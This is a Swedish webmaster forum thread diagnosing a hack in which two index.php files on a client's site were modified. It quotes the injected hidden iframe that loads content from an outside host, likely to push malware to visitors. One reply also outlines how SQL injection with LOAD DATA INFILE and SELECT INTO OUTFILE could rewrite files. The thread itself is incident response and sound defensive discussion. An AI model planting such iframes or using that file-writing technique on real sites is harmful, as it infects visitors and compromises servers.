[grinditwp]

I fredags klockan 20.39, redigerades två php filer enligt ftp-loggen på en kunds webbsida.
filerna är två filer som heter index.php.

Vad som förändrats är att följande kodbit slarvigt lagts till, ca 100 rader ner i dokumentet.

PHP-kod:

<iframe src="http://elena69747.ath.cx:8080/ts/in.cgi?open8" width=537 height=0 style="visibility: hidden"></iframe> 


Raderna som berörs har inte med SQL att göra, ingen data skickas eller hämtas från SQL. Det är med andra ord hårdkodat in i dokumentet och kan knappast röra sig om en SQL-Injektion.

Vad får jag för svar av FS-Data när jag lägger ett e-post om incidenten för att fråga om de vet något, eller i alla fall tipsa dem om att någon verkar hacka deras konton. Svaret jag får är att det antagligen bara är en SQL-Injektion och att vi troligen bör se över vår kod.

Personen i fråga verkar inte ens tagit sig tiden att kolla på filerna jag bifogade. Mig veterligen så bör en SQL-Injection inte kunna ändra hårdkodad kod filer. En SQL-Injektion, precis som namnet avslöjar kräver en databas inmatning. Något som ofta används när man försöker hacka ett loggin. Något som de flesta, någorlunda seriösa eller nya system inte bör kunna drabbas av.

Reflektioner? Någon som varit med om liknande? Någon som har en aning om vad det kan röra sig om?

[Björklund]

Eftersom du skriver att man kan se det i FTP-loggen så måste det skett via FTP.
Ert FTP-lösenord är alltså på vift. Ändra det. Andra också alla andra säkerhetsrelaterade uppgifter så som MySQL-login m.m.

[grinditwp]

Ursprungligen postat av Björklund

Eftersom du skriver att man kan se det i FTP-loggen så måste det skett via FTP.
Ert FTP-lösenord är alltså på vift. Ändra det. Andra också alla andra säkerhetsrelaterade uppgifter så som MySQL-login m.m.

Man kan i alla fall se på filen när den blev ändrad. Datumstämpeln du vet.

[Björklund]

"I fredags klockan 20.39, redigerades två php filer enligt ftp-loggen på en kunds webbsida."

Som sagt, står det att FTP-logg-filen ändrades via FTP så är det ju via FTP de har tagit sig in.

Om man kör FTP så finns det en funktion att köra SSL för FTP. Kör man utan SSL så är det ganska lätt att bli avlyssnad. Det är inte FSDatas fel (hoppas jag) att ert lösenord är på vift.

[weetabix]

Det här är ett mycket vanligt förekommande problem. Som Björklund säger så är ftp-lösenordet på vift. Det finns trojaner som tar de lagrade ftp-uppgifterna i tex ws-ftp och använder dessa för att sprida sig vidare.

[Westman]

Ursprungligen postat av grinditwp

Man kan i alla fall se på filen när den blev ändrad. Datumstämpeln du vet.

Jag blir lite förvirrad, är det på filens datumstämpel du tittar eller är det i en ftplogg?

[grinditwp]

Ursprungligen postat av Westman

Jag blir lite förvirrad, är det på filens datumstämpel du tittar eller är det i en ftplogg?

Filens datumstämpel.

Men det rör sig i alla fall om ett angrepp via ftp eller servern och inte vår webbsida. Det är det viktiga.
Vad jag reagerar på från FS-Datas del är att de så snabbt sopade undan det hela under mattan och bara sade att det var en SQL-Injektion (vilket det inte var) istället för att de t.ex. kollade om det varit några angrepp via servern, bett oss byta lösenord osv.

Istället frånsäger de helt sitt ansvar och beskyller ett möjligt cms på webbsidan

Ingen skada är skedd, men det är ett oprofessionellt bemötande enligt min mening.

[ecstyle]

Jag är egentligen inte den som skall spekulera i vad som har hänt.
Men det är möjligt att någon har kommit åt FTP-uppgifterna via keylogger, trojan eller dylikt. Använd helst SFTP eller SSH och inte FTP. Det skyddar väl inte mot keylogger, men är bättre än att lösenord skickas okrypterat. Använd inte heller funktionen att spara din FTP-uppgifter automatiskt.

Det ser ut som om dom har lagt in en iframe i indexfilerna. Antagligen för att sprida viruset till webbsidornas besökare.

Be kunden skanna datorn för trojaner och keyloggers, ja alla som använder FTP:n. Annars kan det vara risk att det kommer att ske igen.

[htiawe]

Såvida inte (this is a long shot) det skett genom en SQL-injektion som nollställt adminlösenordet för den eventuella CMSen. Om CMSen använder FTP för att ladda upp och editera så finns det ju en möjlighet att de gjort ändringarna direkt från CMSen. Men den förklaringen kändes aningens omständig.

[Lumax]

Teoretiskt så skulle det kunna vara via en SQL-injection, även om det inte är troligt.
Förutsatt att du kör MySQL och att den användare som databas-processen körs som har rättigheter att skriva till dina filer så skulle man kunna köra LOAD DATA INFILE för att läsa in filen till en temptabell, sedan modifiera innehållet med den aktuella koden och dumpa ut filen med SELECT .. INTO OUTFILE/DUMPFILE.

Ett riktigt teoretiskt långskott, men fullt möjligt.